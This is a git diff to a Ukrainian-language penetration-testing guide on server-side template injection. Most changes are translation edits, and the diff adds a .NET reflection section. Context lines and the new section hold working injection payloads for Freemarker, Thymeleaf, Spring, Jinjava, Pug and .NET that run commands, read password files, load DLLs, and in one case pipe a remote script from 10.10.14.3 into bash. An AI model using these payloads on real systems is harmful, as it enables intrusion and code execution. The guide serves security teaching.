diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index d67ad0b2b..89554ead2 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -10,24 +10,24 @@ Jinja - це популярний шаблонний движок, що вико ```python output = template.render(name=request.args.get('name')) ``` -У цьому вразливому коді параметр `name` з запиту користувача безпосередньо передається в шаблон за допомогою функції `render`. Це може потенційно дозволити зловмиснику впровадити шкідливий код у параметр `name`, що призведе до ін'єкції шаблону на стороні сервера. +У цьому вразливому коді параметр `name` з запиту користувача безпосередньо передається в шаблон за допомогою функції `render`. Це може потенційно дозволити зловмиснику впровадити шкідливий код у параметр `name`, що призведе до серверної ін'єкції шаблонів. Наприклад, зловмисник може створити запит з корисним навантаженням, як це: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -Пейлоад `{{bad-stuff-here}}` інжектується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером. +Пейлоад `{{bad-stuff-here}}` впроваджується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером. -Щоб запобігти вразливостям інжекції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарну обробку та валідацію введених даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості. +Щоб запобігти вразливостям ін'єкції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарію та валідацію введених користувачем даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості. ### Виявлення -Для виявлення інжекції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає інжекцію послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають: +Для виявлення ін'єкції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає впровадження послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Показники вразливості включають: - Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів. - Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані. - **Plaintext Context**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`). -- **Code Context**: Підтвердити вразливість, змінюючи параметри введення. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача. +- **Code Context**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача. #### Фаза ідентифікації @@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` -**Freemarker - обхід пісочниці** +**Freemarker - Обхід пісочниці** ⚠️ працює лише на версіях Freemarker нижче 2.3.30 ```java @@ -155,7 +155,7 @@ $out.read() ### Thymeleaf -У Thymeleaf загальним тестом на вразливості SSTI є вираз `${7*7}`, який також застосовується до цього шаблонного движка. Для потенційного віддаленого виконання коду можуть бути використані такі вирази: +У Thymeleaf загальним тестом на вразливості SSTI є вираз `${7*7}`, який також застосовується до цього шаблонного движка. Для потенційного віддаленого виконання коду можна використовувати такі вирази: - SpringEL: @@ -203,7 +203,7 @@ el-expression-language.md ``` **Обхід фільтрів** -Можна використовувати кілька виразів змінних, якщо `${...}` не працює, спробуйте `#{...}`, `*{...}`, `@{...}` або `~{...}`. +Можна використовувати кілька змінних виразів, якщо `${...}` не працює, спробуйте `#{...}`, `*{...}`, `@{...}` або `~{...}`. - Прочитайте `/etc/passwd` ```java @@ -242,7 +242,7 @@ print(base_payload + end_payload) - [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) - [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) -### Маніпуляція з виглядом Spring (Java) +### Spring View Manipulation (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x @@ -289,11 +289,11 @@ el-expression-language.md {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` -Jinjava - це проект з відкритим кодом, розроблений компанією Hubspot, доступний за адресою [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) +Jinjava - це проект з відкритим вихідним кодом, розроблений компанією Hubspot, доступний за адресою [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) **Jinjava - Виконання команд** -Виправлено за допомогою [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) +Виправлено за [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) ```java {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} @@ -319,7 +319,7 @@ Jinjava - це проект з відкритим кодом, розроблен - `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest - `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() -Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдено [Jinjava проект на Github](https://github.com/HubSpot/jinjava/). +Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть [проект Jinjava на Github](https://github.com/HubSpot/jinjava/). ```java {{request.isDebug()}} //output: False @@ -372,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc - `${{7*7}}` - 49 - `${{request}}, ${{session}}, {{faceContext}}` -Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в багатьох технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають: +Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані об'єкти) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають: - **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері. - **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує зв'язок елементів сторінки з даними програми. -- **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми. +- **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперешкодної взаємодії між веб-шаром та керованими об'єктами, що забезпечує більш узгоджену структуру програми. Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**: @@ -429,7 +429,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1 ``` **Більше інформації** -- У розділі Smarty [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) +- У розділі Smarty на [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) @@ -693,7 +693,7 @@ URLencoded: - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` -**Приклад серверного рендерингу** +**Приклад рендерингу на стороні сервера** ```javascript var pugjs = require("pug") home = pugjs.render(injected_page) @@ -887,7 +887,7 @@ ${x} - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) -### Інше Python +### Інші Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

@@ -900,7 +900,7 @@ ${x} - `@(2+2) <= Успіх` - `@() <= Успіх` - `@("{{code}}") <= Успіх` -- `@ <=Успіх` +- `@ <= Успіх` - `@{} <= ПОМИЛКА!` - `@{ <= ПОМИЛКА!` - `@(1+2)` @@ -928,6 +928,23 @@ ${x} - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) +### .Net Обхід обмежень + +Механізми .NET Reflection можуть бути використані для обходу чорного списку або класів, які відсутні в збірці. DLL можуть бути завантажені під час виконання з методами та властивостями, доступними з базових об'єктів. + +Dll можуть бути завантажені за допомогою: + +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - з файлової системи. +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - безпосередньо з запиту. + +Повне виконання команди: +``` +{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))} +``` +**Більше інформації** + +- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/) + ### Mojolicious (Perl) Навіть якщо це Perl, він використовує теги, як ERB у Ruby. @@ -940,23 +957,23 @@ ${x} ``` ### SSTI в GO -У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних payloads: +У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних payload: - `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити. - `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti". -- `{{html "ssti"}}`, `{{js "ssti"}}`: Ці payloads повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go [тут](https://golang.org/pkg/text/template). +- `{{html "ssti"}}`, `{{js "ssti"}}`: Ці payload повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go [тут](https://golang.org/pkg/text/template).

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

-**XSS Експлуатація** +**Експлуатація XSS** -З пакетом `text/template` XSS може бути простим шляхом вставлення payload безпосередньо. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{""}}` призводить до `<script>alert(1)</script>`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} +З пакетом `text/template` XSS може бути простим шляхом безпосереднього вставлення payload. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{""}}` призводить до `<script>alert(1)</script>`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code -**RCE Експлуатація** +**Експлуатація RCE** -Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє викликати будь-яку публічну функцію безпосередньо (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/). +Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє безпосередньо викликати будь-яку публічну функцію (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/). Для RCE через SSTI в Go можна викликати методи об'єкта. Наприклад, якщо наданий об'єкт має метод `System`, що виконує команди, його можна експлуатувати як `{{ .System "ls" }}`. Зазвичай доступ до вихідного коду є необхідним для експлуатації цього, як у наведеному прикладі: ```go @@ -972,7 +989,7 @@ return string(out) ### Більше експлойтів -Перевірте решту [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) для більше експлойтів. Також ви можете знайти цікаву інформацію про теги в [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) +Перегляньте решту [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) для отримання більше експлойтів. Також ви можете знайти цікаву інформацію про теги в [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF